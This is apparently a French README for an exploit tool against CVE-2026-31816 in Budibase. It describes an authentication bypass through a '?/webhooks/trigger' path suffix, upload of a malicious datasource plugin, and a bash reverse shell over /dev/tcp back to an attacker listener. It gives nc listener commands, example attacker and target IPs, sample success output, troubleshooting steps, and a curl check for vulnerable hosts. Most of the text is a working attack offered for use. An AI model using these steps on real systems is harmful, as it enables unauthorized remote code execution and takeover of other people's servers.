
Exploite la CVE-2026-31816 dans Budibase pour contourner l'authentification, téléverser un plugin de source de données malveillant et exécuter un shell inversé pour un accès à distance.
Cet outil exploite la CVE-2026-31816 pour établir une connexion reverse shell sur un serveur Budibase cible.
Chaîne d'attaque : Contournement d'authentification → Téléversement d'un plugin DATASOURCE → Exécution de code côté serveur → Reverse Shell
requests (pip install requests)# 1. Démarrer un listener sur la machine de l'attaquant
nc -lvnp 4444
# 2. Exécuter l'exploit (autre terminal)
python3 CVE-2026-31816-rshell.py -t http://cible:10000 --lhost VOTRE_IP --lport 4444
| Paramètre | Requis | Description |
|---|---|---|
-t, --target | ✅ | URL Budibase cible |
--lhost | ✅ | Hôte du listener (votre IP) |
--lport | ❌ | Port du listener (défaut : 4444) |
# IP de l'attaquant : 192.168.1.100
# Budibase cible : 192.168.1.128:10000
# Terminal 1 - Démarrer le listener
nc -lvnp 4444
# Terminal 2 - Exécuter l'exploit
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
Si la réponse est 200, la cible est vulnérable au contournement d'authentification.
{
"type": "datasource",
"schema": { ... }
}
Les plugins de type DATASOURCE exécutent du code JavaScript sur le serveur.
// Exécuté lors de la validation du plugin :
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
Téléversement du plugin en contournant l'authentification. Le code s'exécute pendant la validation.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attaquant │ │ Serveur │ │ Listener │
│ │ │ Cible │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Téléverse │ │ │
│ │ │ Plugin │ │ │
│ │ │ Exécute │────►│ Écoute │
│ │ │ Code │◄────┤ Connexion │
│ │ │ │ │ Inverse │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - Exploit Reverse Shell
============================================================
[*] Cible : http://192.168.1.128:10000
[*] Reverse shell : 192.168.1.100:4444
[*] Vérification de la vulnérabilité...
[+] La cible est vulnérable !
[*] Création du plugin reverse shell ciblant 192.168.1.100:4444
[*] Téléversement du plugin reverse shell...
[*] Statut : 200
[+] Plugin installé avec succès !
============================================================
[+] SUCCÈS ! Vérifiez votre listener !
============================================================
Causes possibles :
Solutions :
# Vérifier la connectivité réseau
ping VOTRE_IP
# Vérifier le pare-feu
sudo ufw allow 4444/tcp
# Essayer un autre port
nc -lvnp 8080
Causes possibles :
Solutions :
# Tester manuellement si la vulnérabilité existe
curl -s "http://cible:10000/api/integrations?/webhooks/trigger"
# Si un JSON est renvoyé, la vulnérabilité existe